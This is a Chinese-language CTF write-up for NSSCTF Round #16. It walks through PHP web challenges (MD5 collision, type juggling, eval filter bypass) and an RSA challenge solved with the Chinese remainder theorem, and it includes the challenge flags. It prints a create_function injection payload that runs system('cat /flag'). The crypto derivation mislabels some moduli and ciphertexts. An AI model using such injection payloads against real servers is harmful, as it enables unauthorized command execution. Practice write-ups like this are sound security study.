【NSSCTF-Round#16】 Web和Crypto详细完整WP

每天都要加油哦！ ------2024-01-18 11:16:55

[NSSRound#16 Basic]RCE但是没有完全RCE

<?php error_reporting(0); highlight_file(__file__); include('level2.php'); if (isset($_GET['md5_1']) && isset($_GET['md5_2'])) { if ((string)$_GET['md5_1'] !== (string)$_GET['md5_2'] && md5($_GET['md5_1']) === md5($_GET['md5_2'])) { if (isset($_POST['md5_3'])&&md5($_POST['md5_3']) == md5($_POST['md5_3'])) { echo $level2; } else { echo "您！！！！！那么现在阁下又该如何应对呢"; } } else { echo "还在用传统方法？？？？"; } } else { echo "来做做熟悉的MD5~"; }

来做做熟悉的MD5~

这道题要md5_1和md5_2的string后的值要强不等于一样，并且他们的md5值要一样

参考这篇文章https://blog.csdn.net/qq_19980431/article/details/83018232

成功过去。其中md5_3没有任何限制，什么都行。

进入3z_RC3.

<?php error_reporting(0); highlight_file(__FILE__); $shell = $_POST['shell']; $cmd = $_GET['cmd']; if(preg_match('/f|l|a|g|\*|\?/i',$cmd)){ die("Hacker!!!!!!!!"); } eval($shell($cmd));

cmd中不能有flag。会执行我们输入的语句。

进行目录穿越，可以得到根目录有个flag.使用通配符绕过。

得到flag：NSSCTF{79575ef9-a587-4557-8d5f-99074758ba48}

[NSSRound#16 Basic]了解过PHP特性吗

<?php error_reporting(0); highlight_file(__FILE__); include("rce.php"); $checker_1 = FALSE; $checker_2 = FALSE; $checker_3 = FALSE; $checker_4 = FALSE; $num = $_GET['num']; if (preg_match("/[0-9]/", $num)) { die("no!!"); } if (intval($num)) { $checker_1 = TRUE; } if (isset($_POST['ctype']) && isset($_POST['is_num'])) { $ctype = strrev($_POST['ctype']); $is_num = strrev($_POST['is_num']); if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) { $checker_2 = TRUE; } } $_114 = $_GET['114']; $_514 = $_POST['514']; if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) { if (!is_numeric($_514) && $_514 > 9999999) { $checker_3 = TRUE; } } $arr4y = $_POST['arr4y']; if (is_array($arr4y)) { for ($i = 0; $i < count($arr4y); $i++) { if ($arr4y[$i] === "NSS") { die("no!"); } $arr4y[$i] = intval($arr4y[$i]); } if (array_search("NSS", $arr4y) === 0) { $checker_4 = TRUE; } } if ($checker_1 && $checker_2 && $checker_3 && $checker_4) { echo $rce; }

当num是一个数组时，preg_match会将它转化为bool类型，而使整个句子返回false；

intval当遇到非空数组时，会返回true

第二个绕过

PHP 的弱类型比较；QNKCDZO 和 240610708 进行 md5 后加密的数值为 0e 开头，在 PHP 中会被识别为科学计数法，所有 0e 开头的数据进行弱类型比较皆为 True

第三个，search默认第三个参数是false类型。弱比较，输入0，NSS0，NSS1都行。

绕过后会提示你去别的地方

这里就是一个简单的create_function注入。shell变量对应的是新建匿名函数的参数列表，nss变量对应的是函数体。这里给shell变量传一个空值，这样这个新建的匿名函数就能在没有参数的情况下执行。
create_function注入原理见

https://www.cnblogs.com/-chenxs/p/11459374.html

https://www.cnblogs.com/GTL-JU/p/16831601.html

类似于sql注入的闭合，只不过这个是闭合｝。

flag:shell=&nss=1;}system("cat /flag");/*

[NSSRound#16 Basic]pr

原题：

from Crypto.Util.number import *

import random

flag=plaintext = 'NSSCTF{****************}'

charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'

padding_length = 100 - len(plaintext)

for _ in range(padding_length):

    plaintext += random.choice(charset)

public_exponent = 31413537523

message = bytes_to_long(plaintext.encode())

assert message > (1 << 512)

assert message < (1 << 1024)

prime_p = getPrime(512)

prime_q = getPrime(512)

prime_r = getPrime(512)

n1 = prime_p * prime_q

n2 = prime_q * prime_r

ciphertext1 = pow(message, public_exponent, n1)

ciphertext2 = pow(message, public_exponent, n2)

print('c1=', ciphertext1)

print('c2=', ciphertext2)

print('p=', prime_p)

print('r=', prime_r)

'''

c1= 36918910341116680090654563538246204134840776220077189276689868322808977412566781872132517635399441578464309667998925236488280867210758507758915311644529399878185776345227817559234605958783077866016808605942558810445187434690812992072238407431218047312484354859724174751718700409405142819140636116559320641695

c2= 15601788304485903964195122196382181273808496834343051747331984997977255326224514191280515875796224074672957848566506948553165091090701291545031857563686815297483181025074113978465751897596411324331847008870832527695258040104858667684793196948970048750296571273364559767074262996595282324974180754813257013752

p= 12101696894052331138951718202838643670037274599483776996203693662637821825873973767235442427190607145999472731101517998719984942030184683388441121181962123

r= 10199001137987151966640837133782537428248507382360655526592866939552984259171772190788036403425837649697437126360866173688083643144865107648483668545682383

'''

c1≡m^e(mod n1） 等价与 m^e ≡c1(mod n1)

c2≡m^e(mod n2) 等价于 m^e≡c2(mod n1)

因为n1=p*q,n2=q*r,把上式子分解。

m^e ≡c1(mod p)

m^e ≡c1(mod r)

已知e，c1,c2,p,r.可以把m求出来。

用中国剩余定理将两者结合在一起。

以下是解题代码：

# -*- coding:utf-8 -*-

"""

作者:Wang Xinwei

日期:2024年01月21日

"""

from Crypto.Util.number import *

from gmpy2 import *

from functools import reduce

import sympy

def chinese_remainder(a, n):

    sum = 0

    prod = reduce(lambda a, b: a * b, n)

    for n_i, a_i in zip(n, a):

        p = prod // n_i

        sum += a_i * sympy.invert(p, n_i) * p

    return int(sum % prod)

c1 = 36918910341116680090654563538246204134840776220077189276689868322808977412566781872132517635399441578464309667998925236488280867210758507758915311644529399878185776345227817559234605958783077866016808605942558810445187434690812992072238407431218047312484354859724174751718700409405142819140636116559320641695

c2 = 15601788304485903964195122196382181273808496834343051747331984997977255326224514191280515875796224074672957848566506948553165091090701291545031857563686815297483181025074113978465751897596411324331847008870832527695258040104858667684793196948970048750296571273364559767074262996595282324974180754813257013752

p = 12101696894052331138951718202838643670037274599483776996203693662637821825873973767235442427190607145999472731101517998719984942030184683388441121181962123

r = 10199001137987151966640837133782537428248507382360655526592866939552984259171772190788036403425837649697437126360866173688083643144865107648483668545682383

e = 31413537523

c_p=c1%p

c_r=c2%r

c=chinese_remainder([c_p,c_r],[p,r])

phi=(p-1)*(r-1)

d=inverse(e,phi)

m=pow(c,d,p*r)

print(long_to_bytes(m))

得到flag：NSSCTF{yUanshEnx1ncHun2o23!}